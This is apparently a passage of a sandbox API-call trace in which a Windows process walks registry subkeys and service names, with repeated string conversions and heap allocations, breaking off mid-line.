[0029.273] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.273] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0029.273] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.274] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1c946d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.274] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.274] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="services") returned 0x0 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0029.274] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.274] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.274] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0029.275] RegCloseKey (hKey=0xc8) returned 0x0 [0029.275] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.275] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1c946d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.275] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1c94450, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0029.275] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.275] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.275] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1c946d8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.276] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1c94450, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.276] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1c946d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.276] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.276] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.276] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.277] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.277] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.277] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9, lpName=0x1c829e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0029.277] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.277] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.277] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa, lpName=0x1c829e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1c94450, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.278] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb, lpName=0x1c829e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.278] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc, lpName=0x1c829e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.278] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.278] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xd, lpName=0x1c829e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0029.278] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.279] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xe, lpName=0x1c829e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.279] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xf, lpName=0x1c829e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1c946d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0029.279] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.279] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.279] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x10, lpName=0x1c829e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, 